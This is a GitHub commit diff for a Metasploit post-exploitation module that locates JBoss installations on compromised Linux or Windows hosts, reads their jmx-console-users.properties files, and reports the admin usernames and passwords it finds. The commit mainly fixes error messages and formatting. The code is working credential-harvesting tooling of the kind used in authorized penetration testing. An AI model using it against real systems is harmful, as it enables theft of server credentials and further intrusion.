Skip to content

Commit 9f289bd

Browse files
author
Koen Riepe
committed
Fixed error messages and some syntax.
1 parent 22b2215 commit 9f289bd

File tree

1 file changed

+51
-46
lines changed

1 file changed

+51
-46
lines changed

modules/post/multi/gather/jboss_gather.rb

Lines changed: 51 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -5,17 +5,19 @@ class MetasploitModule < Msf::Post
55
include Msf::Post::File
66
include Msf::Post::Linux::System
77

8-
def initialize(info={})
9-
super(update_info(info,
10-
'Name' => 'Jboss Credential Collector',
11-
'Description' => %q{
8+
def initialize(info = {})
9+
super(update_info(
10+
info,
11+
'Name' => 'Jboss Credential Collector',
12+
'Description' => %q(
1213
This module can be used to extract the Jboss admin passwords for version 4,5 and 6.
13-
},
14-
'License' => MSF_LICENSE,
15-
'Author' => [ 'Koen Riepe ([email protected])' ],
16-
'Platform' => [ 'linux', 'win' ],
17-
'SessionTypes' => [ 'meterpreter' ]
18-
))
14+
),
15+
'License' => MSF_LICENSE,
16+
'Author' => [ 'Koen Riepe ([email protected])' ],
17+
'Platform' => [ 'linux', 'win' ],
18+
'SessionTypes' => [ 'meterpreter' ]
19+
)
20+
)
1921
end
2022

2123
def report_creds(user, pass, port)
@@ -56,7 +58,7 @@ def getpw(file, ports)
5658
begin
5759
lines = read_file(pwfile).split("\n")
5860
rescue
59-
print_error("Cannot open #{array[i]}, you probably don't have permissions to open the file.")
61+
print_error("Cannot open #{pwfile}, you probably don't have permissions to open the file.")
6062
next
6163
end
6264
for line in lines
@@ -66,7 +68,7 @@ def getpw(file, ports)
6668
report_creds(creds[0], creds[1], ports[i])
6769
end
6870
end
69-
i+=1
71+
i += 1
7072
end
7173
end
7274

@@ -120,12 +122,12 @@ def wingetversion(array, home)
120122
end
121123
if not version == "NONE"
122124
print_status("Found a Jboss installation version: #{version}")
123-
instances = wingetinstances(home,version)
125+
instances = wingetinstances(home, version)
124126
pwfiles = winpwfiles(instances)
125127
listenports = wingetport(instances)
126-
getpw(pwfiles,listenports)
128+
getpw(pwfiles, listenports)
127129
end
128-
i+=1
130+
i += 1
129131
end
130132
end
131133

@@ -153,14 +155,13 @@ def getports(version)
153155
type1 = cmd_exec('locate bindings-jboss-beans.xml').split("\n")
154156
type2 = cmd_exec('locate jboss-web.deployer/server.xml').split("\n")
155157
port = []
156-
157158
type1.each do |file1|
158159
if file1 and file1.include? version
159160
print_status("Attempting to extract Jboss service ports from: #{file1}")
160161
begin
161162
file1_read = read_file(file1).split("\n")
162163
rescue
163-
print_error("Cannot open #{array[i]}, you probably don't have permissions to open the file.")
164+
print_error("Cannot open #{file1}, you probably don't have permissions to open the file.")
164165
next
165166
end
166167
parse = false
@@ -182,9 +183,9 @@ def getports(version)
182183
if file2 and file2.include? version
183184
print_status("Attempting to extract Jboss service ports from: #{file2}")
184185
begin
185-
xml2 = Nokogiri::XML(read_file(file2))
186+
xml2 = Nokogiri::XML(read_file(file2))
186187
rescue
187-
print_error("Cannot open #{array[i]}, you probably don't have permissions to open the file.")
188+
print_error("Cannot open #{file2}, you probably don't have permissions to open the file.")
188189
next
189190
end
190191
xml2.xpath("//Server//Connector").each do |connector|
@@ -206,44 +207,44 @@ def gathernix
206207
def winhome
207208
home = []
208209
exec = cmd_exec('WMIC PROCESS get Caption,Commandline').split("\n")
209-
exec.each do |line|
210-
if line.downcase.include? "java.exe" and line.downcase.include? "jboss"
211-
print_status('Jboss service found')
212-
parse = line.split('-classpath "')[1].split("\\bin\\")[0]
213-
if parse[0] == ';'
214-
home.push(parse.split(';')[1])
215-
else
216-
home.push(parse)
217-
end
210+
exec.each do |line|
211+
if line.downcase.include? "java.exe" and line.downcase.include? "jboss"
212+
print_status('Jboss service found')
213+
parse = line.split('-classpath "')[1].split("\\bin\\")[0]
214+
if parse[0] == ';'
215+
home.push(parse.split(';')[1])
216+
else
217+
home.push(parse)
218218
end
219219
end
220+
end
220221
return home
221222
end
222223

223224
def wingetinstances(home, version)
224225
instances = []
225226
instance_location = "#{home}\\server"
226227
exec = cmd_exec("cmd /c dir #{instance_location}").split("\n")
227-
exec.each do |instance|
228-
if instance.split("<DIR>")[1]
229-
if (not instance.split("<DIR>")[1].strip.include? ".") and (not instance.split("<DIR>")[1].strip.include? "..")
230-
instance_path = "#{home}\\server\\#{(instance.split("<DIR>")[1].strip)}"
231-
if instance_path.include? version
232-
instances.push(instance_path)
233-
end
234-
end
235-
end
236-
end
228+
exec.each do |instance|
229+
if instance.split("<DIR>")[1]
230+
if (not instance.split("<DIR>")[1].strip.include? ".") and (not instance.split("<DIR>")[1].strip.include? "..")
231+
instance_path = "#{home}\\server\\#{(instance.split('<DIR>')[1].strip)}"
232+
if instance_path.include? version
233+
instances.push(instance_path)
234+
end
235+
end
236+
end
237+
end
237238
return instances
238239
end
239240

240241
def winpwfiles(instances)
241242
files = []
242243
instances.each do |seed|
243-
file_path = "#{seed}\\conf\\props\\jmx-console-users.properties"
244-
if exist?(file_path)
245-
files.push(file_path)
246-
end
244+
file_path = "#{seed}\\conf\\props\\jmx-console-users.properties"
245+
if exist?(file_path)
246+
files.push(file_path)
247+
end
247248
end
248249
return files
249250
end
@@ -308,10 +309,14 @@ def gatherwin
308309
end
309310

310311
def run
311-
if sysinfo['OS'].include? "Windows"
312-
gatherwin
313-
else
314-
gathernix
312+
begin
313+
if sysinfo['OS'].include? "Windows"
314+
gatherwin
315+
else
316+
gathernix
317+
end
318+
rescue
319+
print_error('sysinfo function not available, you are probably using a wrong meterpreter.')
315320
end
316321
end
317322
end

0 commit comments

Comments
 (0)